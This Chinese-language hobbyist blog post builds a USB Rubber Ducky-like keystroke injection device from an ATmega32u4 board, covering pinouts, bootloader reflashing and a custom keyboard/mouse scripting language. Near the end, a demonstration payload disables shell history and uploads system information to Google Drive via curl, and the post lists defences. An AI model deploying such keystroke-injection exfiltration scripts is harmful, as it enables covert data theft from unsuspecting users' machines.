2023-12-25

使用 ATmega32u4 模仿 USB Rubber Ducky

在下曾經使用 DigiSpark 配合 ATtiny85 製作模擬鍵盤自動操作
但當需要修改自動操作的內容便需要修改 Sketch 並重新上載程式碼
非常不方便,而且需要特定軟件及技術才能完成修改
因此在下嘗試尋找更好材料及方法完成這個操作

USB Rubber Ducky 是一種由 Hak5公司 製作的 特殊USB裝置
外觀上與一般 USB儲存裝置 相似,但內部就是一塊微控制器(使用 AT32UC3B1256晶片),並附有 Micro SD卡糟
將稱為 Ducky Script 的 腳本資料保存在 Micro SD卡 ,讓微控制器讀取腳本後執行對應指令
在下本來打算購買 USB Rubber Ducky 測試效果,但 USB Rubber Ducky 實在太貴,因此在下尋找其他替代品

在下曾經使用 Arduino 利用 SD卡模組 讀寫 SD卡 ,因此打算使用類似的方式將腳本保存在 SD卡
再使用 Arduino 的開發板根據腳本的特定關鍵內容執行對應指令,製作類似 USB Rubber Ducky 的效果
不過在下不需要完全複製 USB Rubber Ducky 的功能,只需要做到類似的功能即可

要達到目標,需要一款具備 USB功能 的 微控制器
在下曾經使用 Arduino Pro Micro 製作 USB鍵盤 及 DigiSpark 製作 登入USB
還有 Raspberry Pi Pico (W) 的 RP2040 都有支援 USB HID 協定

附有 Micro SD卡糟的 ATmega32u4

在下找到一款類似 DigiSpark ,使用 USB Type-A 插頭,能夠不需要 USB線 便可以連接到 USB插孔
還有附有不需要額外線路就能使用 Micro SD卡糟
(由於找不到名稱,因此在下簡化稱呼為「USB裝置」)

外觀

USB裝置 的 正面

USB裝置 的 背面

ATmega32u4晶片,與 Arduino Leonardo 或 Sparkfun Pro Micro 相同

重設按鈕

D1 LEDD2 LED 分別連接到 第13數碼引腳第8數碼引腳
電壓為高時亮著 LED , 第13數碼引腳 支援 10位元PWM

Micro SD卡槽的引腳 已經直接連接到 ATmega32u4 的 SPI引腳
SD卡的選取引腳 亦直接連接到 第4數碼引腳

74HC4050D晶片 是一種 六通道高到低電壓轉換器

引腳

USB裝置 總共引出 8支引腳 及 2對 VCC引腳 及 GND引腳

USB方向(正面)
左排引腳 右排引腳
12 MISO
11 MOSI
10 SCK
9 RST
SCL 1 8 GND
SDA 2 7 VCC
RX 3
TX 4
VCC 5
GND 6
編號 引腳 方向 功能
1 SCL 輸入輸出 第3數碼引腳;I2C時脈引腳;10位元PWM
2 SDA 輸入輸出 第2數碼引腳;I2C資料引腳
3 RX 輸入輸出 第0數碼引腳;UART接收引腳
4 TX 輸入輸出 第1數碼引腳;UART傳送引腳
5 VCC 電源
6 GND 接地
7 VCC 電源
8 GND 接地
9 RST 接地後復原會重設裝置
10 SCK 輸入輸出 第15數碼引腳;SPI時脈引腳
11 MOSI 輸入輸出 第16數碼引腳;SPI輸出引腳
12 MISO 輸入輸出 第14數碼引腳;SPI輸入引腳
D1LED GP13 輸出 第13數碼引腳;D1 LED 引腳;高電壓亮著,低電壓熄滅;10位元PWM
D2LED GP8 輸出 第8數碼引腳;D2 LED 引腳;高電壓亮著,低電壓熄滅
SD GP4 輸出 第4數碼引腳;SD選取引腳;低電壓選取
試用

雖然在 Arduino IDE 以 Arduino Micro 相同的設定,但然無法上載 Sketch
原本在 Port 中顯示的 /dev/ttyACM0 消失,顯示錯誤訊息:

Couldn't find a Board on the selected port. Check that you have the correct port selected. If it is correct, try pressing the board's reset button after initialing the upload.

而且 D1 LED 不斷閃動,按 重設按鈕 仍舊不斷閃動,幸好中斷裝置後重新連接,一切恢復正常,亦沒有損壞

在下認為是原廠設定的開發板,並非使用與 Arduino Leonardo 或 Sparkfun Pro Micro 相同的 Bootloader
當 Arduino IDE 嘗試重設時,無法重新偵測到 ATmega32u4 的 Bootloader模式,因此無法上載 Sketch
在下嘗試清除所有資料並重新燒錄 Bootloader 到 ATmega32u4 ,因此需要連接到 ISP 裝置

由於未焊接引腳,因此在下使用爪型探針測試
爪型探針可以直接抓著通孔連接線路

再連接到 Programmer線路

但如果沒有爪型探針亦可以,長針腳的跳線直接穿過通孔,再將引腳壓在通孔上
為避免針腳與另一支針腳接觸,建議還要釘在麵包板上,確保不會短路

由於在下想懶惰點,因此不使用 Arduino as ISP
而是使用 USBASP 將 ATmega32u4 的 Bootloader 重新燒錄

const byte D1 = 13;
const byte D2 = 8;
void setup() {
	pinMode(D1, OUTPUT);
	pinMode(D2, OUTPUT);
}
void loop() {
	digitalWrite(D1, !digitalRead(D1));
	digitalWrite(D2, !digitalRead(D1));
	delay(500);
}

重新燒錄 Bootloader 後,便能於 Arduino IDE 上載 Sketch 到 ATmega32u4

以 D1 LED 及 D2 LED 測試上載結果

模仿 USB Rubber Ducky

在下想將裝置設計成類似自動執行操作的 USB工具
但發現很多模仿 USB Rubber Ducky 的程式都只有 鍵盤控制
因此在下希望能加入 滑鼠控制 、 重覆執行腳本內容 、 執行其他腳本檔案,因此安裝 Keyboard.hMouse.h 函式庫

另外涉及讀取 SD卡內容,還要安裝 SD.h
(雖然在下曾經用自己的方法讀取 SD卡內容 ,但還是使用穩定的函式庫比較安全及方便)

由於根據每行內容執行特定操作,所以判別內容越多,便越佔據更多空間
在只有 32768位元組 ROM (Bootloader 佔據 4096位元組) 及 2560位元組 RAM 的 ATmega32u4 有限的空間上限設計最多功能

功能

由於在下想方便分類,因此使用類似 Arduino 原本的功能名稱來製作

指令 參數 效果
delay.us 整數 延遲微秒數
delay.ms 整數 延遲毫秒數
delay.s 整數 延遲秒數
delay.m 整數 延遲分鐘
delay.h 整數 延遲小時
mouse.set-x 整數 由左至右設定滑鼠到熒幕指定X軸位置;如果為負數則由右至左
mouse.set-y 整數 由上至下設定滑鼠到熒幕指定Y軸位置;如果為負數則由下至上
mouse.offset-x 整數 由左至右設定滑鼠從當前偏移X軸位置;如果為負數則由右至左
mouse.offset-y 整數 由上至下設定滑鼠從當前偏移X軸位置;如果為負數則由下至上
mouse.scroll 鍵碼 模擬捲動滑鼠滾輪
mouse.click 鍵碼 模擬點擊滑鼠指定按鍵
mouse.press 鍵碼 模擬按下滑鼠指定按鍵
mouse.release 鍵碼 模擬釋放滑鼠指定按鍵
mouse.release-all 鍵碼 模擬釋放滑鼠所有按鍵
keyboard.print 字串 模擬輸入鍵盤指定文字
keyboard.println 字串 模擬輸入鍵盤指定文字,完成後插入換行號
keyboard.write 鍵碼 模擬寫入鍵盤指定鍵碼
keyboard.press 鍵碼 模擬按下鍵盤指定鍵碼
keyboard.release 鍵碼 模擬釋放鍵盤指定鍵碼
keyboard.release-all 鍵碼 模擬釋放鍵盤所有鍵碼
led.power 狀態 控制 D1 LED 開關
i2c.scl 狀態 控制 I2C SCL 開關
i2c.sda 狀態 控制 I2C SDA 開關
uart.tx 狀態 控制 UART TX 開關
uart.rx 狀態 控制 UART RX 開關
script.load 路徑 載入並執行指定腳本檔案,但不會執行 script.load 往後的指令
script.repeat 整數 重覆執行上一個 script.repeat (或第一個指令) 至 script.repeat 之間的指令
引腳狀態
狀態代號 對應功能
on 開啟
off 關閉
toggle 切換開啟或關閉
捲動鍵碼
鍵碼代號 對應向方
up 向上
down 向下
滑鼠鍵碼
鍵碼代號 對應按鍵
left 左鍵
middle 中鍵
right 右鍵
鍵盤鍵碼
鍵碼代號 對應按鍵
ctrl, control, left-ctrl, left-control 一般鍵盤的左Ctrl鍵 或 Mac鍵盤的左Control鍵
shift, left-shift 左Shift鍵
alt, option, left-alt, left-option 一般鍵盤的左Alt鍵 或 Mac鍵盤的左Option鍵
gui, meta, hyper, super, win, window, cmd, command, left-gui, left-meta, left-hyper, left-super, left-win, left-window, left-cmd, left-command 一般鍵盤的左Win鍵 或 Mac鍵盤的左Cmd鍵
right-ctrl, right-control 一般鍵盤的右Ctrl鍵 或 Mac鍵盤的右Control鍵
right-shift 右Shift鍵
right-alt, right-option 一般鍵盤的右Alt鍵 或 Mac鍵盤的右Option鍵
right-gui, right-meta, right-hyper, right-super, right-win, right-window, right-cmd, right-command 一般鍵盤的右Win鍵 或 Mac鍵盤的右Cmd鍵
arrow-up 上箭咀鍵
arrow-down 下箭咀鍵
arrow-left 左箭咀鍵
arrow-right 右箭咀鍵
backspace 一般鍵盤的退格鍵 或 Mac鍵盤的Delete鍵
tab 製表鍵
space 空白鍵
enter, return 換行鍵
menu 功能表選單鍵
esc, escape 退出鍵
insert 插入鍵
delete, del 刪除鍵
page-up 向上捲頁鍵
page-down 向下捲頁鍵
home 移至最前鍵
end 移至最後鍵
caps-lock 大寫鎖定鍵
print-screen 列印熒幕鍵
scroll-lock 捲動鎖定鍵
pause, break 暫停鍵
num-lock 數字鍵盤鎖定鍵
kp/ 數字鍵盤/鍵
kp* 數字鍵盤*鍵
kp- 數字鍵盤-鍵
kp+ 數字鍵盤+鍵
kpe 數字鍵盤enter鍵
kp1 數字鍵盤1鍵
kp2 數字鍵盤2鍵
kp3 數字鍵盤3鍵
kp4 數字鍵盤4鍵
kp5 數字鍵盤5鍵
kp6 數字鍵盤6鍵
kp7 數字鍵盤7鍵
kp8 數字鍵盤8鍵
kp9 數字鍵盤9鍵
kp0 數字鍵盤0鍵
kp. 數字鍵盤.鍵
f1 功能1鍵
f2 功能2鍵
f3 功能3鍵
f4 功能4鍵
f5 功能5鍵
f6 功能6鍵
f7 功能7鍵
f8 功能8鍵
f9 功能9鍵
f10 功能10鍵
f11 功能11鍵
f12 功能12鍵
f13 功能13鍵
f14 功能14鍵
f15 功能15鍵
f16 功能16鍵
f17 功能17鍵
f18 功能18鍵
f19 功能19鍵
f20 功能20鍵
f21 功能21鍵
f22 功能22鍵
f23 功能23鍵
f24 功能24鍵

在下同樣模仿 Arduino 的 Keyboard.h 及 Mouse.h 的常數名稱

鍵盤效果
keyboard.print hell
keyboard.print o, w
keyboard.println orld
keyboard.press shift
script.repeat 0
keyboard.write arrow-left
script.repeat 12
keyboard.release shift
keyboard.press ctrl
keyboard.write c
script.repeat 0
keyboard.write v
script.repeat 10
keyboard.release ctrl

測試內容說明:

  1. 輸入 hell
  2. 輸入 o, w
  3. 輸入 orld (即是 hello, world ,故意分開輸入),並換行
  4. 按下 shift
    • 重覆 0次 (設定 重覆點)
  5. 寫入 左箭咀
    • 重覆 12次
  6. 釋放 shift
  7. 按下 ctrl
  8. 寫入 c
    • 重覆 0次 (設定 重覆點)
  9. 寫入 v
    • 重覆 10次
  10. 釋放 ctrl
滑鼠效果
mouse.set-x 200
mouse.set-y 200
mouse.press left
delay.ms 100
mouse.offset-x 100
delay.ms 100
mouse.offset-y 100
delay.ms 100
mouse.offset-x -100
delay.ms 100
mouse.offset-y -100
delay.ms 100
mouse.release left

測試內容說明:

  1. 設定滑鼠X座標為 200
  2. 設定滑鼠Y座標為 200
  3. 按下滑鼠左鍵
  4. 延遲100毫秒 (確保按下)
  5. 向右偏移滑鼠X座標 200
  6. 延遲100毫秒 (確保水平移動)
  7. 向下偏移滑鼠Y座標 200
  8. 延遲100毫秒 (確保垂直移動)
  9. 向左偏移滑鼠X座標 200
  10. 延遲100毫秒 (確保水平移動)
  11. 向上偏移滑鼠Y座標 200
  12. 延遲100毫秒 (確保垂直移動)
  13. 釋放滑鼠左鍵

補充資料

ATmega32u4 Bootloader

由於 Arduino Leonardo 及 Sparkfun Pro Micro 都是使用 ATmega32u4
因此使用 Arduino Leonardo 或 Sparkfun Pro Micro 都能將適合的 Bootloader 錄到 ATmega32u4
但兩者燒錄結果略有不同

安裝 Arduino Leonardo 的 Bootloader 後, D1 LED 會 每1秒閃動;按動重設按鈕後 D1 LED 會顯示 8秒呼吸燈效果,然後正式啟動
安裝 Sparkfun Pro Micro 的 Bootloader 後, D1 LED 會顯示 呼吸燈效果;按動重設按鈕後 會靜止 1秒,然後正式啟動
如果想 按動重設按鈕 後,不想花太多時間等待,使用 Sparkfun Pro Micro 的 Bootloader 會比較快

需要使用 Sparkfun Pro Micro 版本的 Bootloader ,可以在 Additional Boards Manager URLs: 加入

https://raw.githubusercontent.com/sparkfun/Arduino_Boards/master/IDE_Board_Manager/package_sparkfun_index.json

並搜尋、安裝 SparkFun AVR Boards ,使用時選擇 SparkFun AVR Boards > SparkFun Pro Micro
使用時要將 Processor 更改為 ATmega32u4 (5V, 16MHz)

SD.h 使用較舊的 FAT ,檔案名不能多於8個字元,副檔名不能多於3個字元 (8.3命名規則)
否則即使檔案存在,但仍然無法讀取

雖然 AVR-C 的字串支援 32767位元組 字串,但受微控制器的 RAM 的容量限制
例如 ATmega32u4 有 2560位元組 RAM ,在實際情況下 RAM 還需要保存其他資料
所以最好將長字串分割成多個短字串,才讀取 SD卡 的文字資料,避免因為 RAM 不足導致讀取及保存失敗

如果沒有這款 USB裝置 ,使用 Arduino Pro Micro 連接到 SD卡模組 亦可
由於 SD卡 的工作電壓為 3.0V 至 3.6V ,而 Arduino Pro Micro 沒有 3.3V 輸出
若果 SD卡模組 電源引腳 或 SPI引腳 沒有 3.3V穩壓器
必須使用 電壓分配規則(Voltage Divider Rule)電壓轉換器(Logic Level Converter)

電壓分配規則

電壓分配規則 接駁方法

邏輯電壓轉換器

由於並非所有電子零件都使用相同電壓,例如 ATmega32u4 接受 5V ,但 SD卡 接受 3.3V
如果將 5V電源 連接到 SD卡 ,好大機會會損壞 SD卡
使用 電壓分配規則 雖然能夠將 邏輯電壓 調整成需要的範圍,但如果有大量引腳都需要轉換,便需要大量電阻
邏輯電壓轉換器 能夠設置 高邏輯電壓 及 低邏輯電壓,再從 通道 轉換成需要的 邏輯電壓
通道越多,便越減省電壓分配規則的電阻數量

一些邏輯電壓轉換器還提供 相向轉換 ,可以根據輸入向方自動調節 高至低 或 低至高 的邏輯電壓輸出

電壓轉換器 接駁方法

電壓分配規則計算器

電壓分配規則方程式

150 R 5 V 100 R 3 V
電源電壓:
電阻值1:
電阻值2:

總結

Ducky Script 是一種專為 USB Rubber Ducky 執行的腳本程式碼,稱為 負載(Payload)
有些使用者製作將 Ducky Script 轉換為 Arduino Sketch 的 AVR-C 語法的工具,並能在支援 USB HID 的開發板中使用
但由於 Ducky Script 很多轉換器已經沒有維護,部分連結已經失效
亦有部分因為無法追上 Ducky Script 的新版本,將 Ducky Script 轉換為 Arduino Sketch 時會出錯
但其實如果分析 Ducky Script 的內容,其實能夠人手轉換

USB Rubber Ducky 面世時,由於其偽裝成一般 USB儲存裝置 的設計而將這種 USB裝置 稱為 BadUSB
BadUSB 能輕易盜取及破壞被入侵的裝置,在電視劇 Mr.Robot 其中一幕就是使用 USB Rubber Ducky 盜取資料
但這種攻擊很依賴被入侵的裝置的系統類型、存取權限、能執行的軟件、性能因素而影響攻擊成效
雖然在下無法查看所有 負載 的內容,但單純在 Hak5 的 Payload Hub 的中的描述及語法
第1頁共18個項目

  • 13個項目是關於 Windows (指定 10 或 11)
  • 3個項目是關於 Mac OS
  • 1個項目是關於 Linux (指定 Debian)
  • 1個項目已經失效

基本上都是針對 Windows

由於主要是透過 指令操作 ,因此都是以 執行終端機 開始,腳本最初大致上都是:

  • Windows 為
    GUI r
    DELAY 500
    STRINGLN powershell
    ENTER
    DELAY 500
  • Mac OS 為
    GUI SPACE
    DELAY 1000
    STRING terminal
    ENTER
    DELAY 2000
  • Linux 為
    CTRL-ALT t
    DELAY 2000

在下發現並非所有 Linux 都是使用 Ctrl-Alt T 開啟終端機或執行功能,而是受 桌面環境 限制
例如在下使用 Mate桌面環境 是使用 Alt F2 ,因此 Ctrl-Alt T 對使用 Mate 的 Linux 沒有效果
(除非剛好開啟動 Terminal 並連接 BadUSB)
而且當輸入法並非英文時,虛擬鍵盤無法輸入英文指令,同樣無法產生效用

盜取示範
keyboard.press alt
keyboard.write f2
keyboard.release alt
delay.s 1
keyboard.println mate-terminal
delay.s 2
keyboard.println unset HISTFILE
keyboard.println cmd="uname -a"
keyboard.println curl -sL \
keyboard.println --request "POST" \
keyboard.println --header "Authorization: Bearer "`curl -sL \
keyboard.println --request "POST" \
keyboard.println --header "Content-Type: application/x-www-form-urlencoded" \
keyboard.println --data "client_id=<hidden>" \
keyboard.println --data "client_secret=<hidden>" \
keyboard.println --data "refresh_token=<hidden>" \
keyboard.println --data "grant_type=refresh_token" \
keyboard.println "https://www.googleapis.com/oauth2/v3/token" \
keyboard.println | grep "access_token" \
keyboard.println | sed -r 's/.*: ?"([^"]+)".*/\1/g'` \
keyboard.println --header "Content-Type: multipart/related; boundary=boundary" \
keyboard.println --data-binary "--boundary
keyboard.println Content-Type: application/json
keyboard.println 
keyboard.println {\"name\":\"`date "+%Y-%m-%d-%H-%M-%S"`.txt\",\"description\":\"${cmd}\"}
keyboard.println --boundary
keyboard.println Content-Type: text/plain
keyboard.println 
keyboard.println `eval "${cmd}"`
keyboard.println --boundary--" \
keyboard.println "https://www.googleapis.com/upload/drive/v3/files?uploadType=multipart"; exit

以上是一個示範,盜取 Linux核心版本 的資料
盜取資料的方法主要都是將資料 收集成一個文字檔案 ,或直接 使用指令輸出資料
再使用 Curl 之類能夠發送 HTTP請求 的指令工具,將 檔案上載到指定伺服器或雲端儲存服務
因此如果電腦系統沒有安裝 Curl 之類工具,基本上是無法達成
(雖然能從網上下載,但要下載時間無法確定)

防護方法

剛才提及到將檔案上載到指定伺服器或雲端儲存服務
即是盜取資料需要攻擊者提供 伺服器雲端儲存服務帳戶存取令牌(Access Token) ,其實有被反擊的風險
(所以示範的內容及影片中,在下將敏感資料隱藏
Terminal 可以輸入 stty -echo 來隱藏所有輸入內容,只是在下想影片中有高速自動輸入的效果)

在下不是輕視 BadUSB 攻擊,而是 BadUSB 要盜取資料其實並不容易
但 BadUSB 直接毀滅資料 則非常簡單,只需要一句指令就可以毀滅所有資料

物理上可以使用 USB隔離器 ,只容許電源引腳及接地引腳,但這種方法只適合只需要差電的裝置

一些防毒軟件公司提出當電腦識別到連接的 USB裝置 屬於 HID 時
例如 USB鍵盤 , 需要輸入配對碼 (類似藍牙鍵盤配對的方式),配對正確才能連接
但需要安裝該防毒軟件公司的軟件

在 Linux 上,可以使用 udev規則 限制 USB裝置 的 Vender IDProduct ID 的連接許可
但當需要使用的 USB裝置 使用相同 Vender ID 及 Product ID 則會無法使用該 USB裝置

比起這些大量不確定性的盜取及攻擊,在下覺得協助自己完成一些自動化操作的功能更有用

在下程式碼上載至 create.arduino.cc ,閣下有興趣可以自行修改及使用

參考資料

沒有留言 :

張貼留言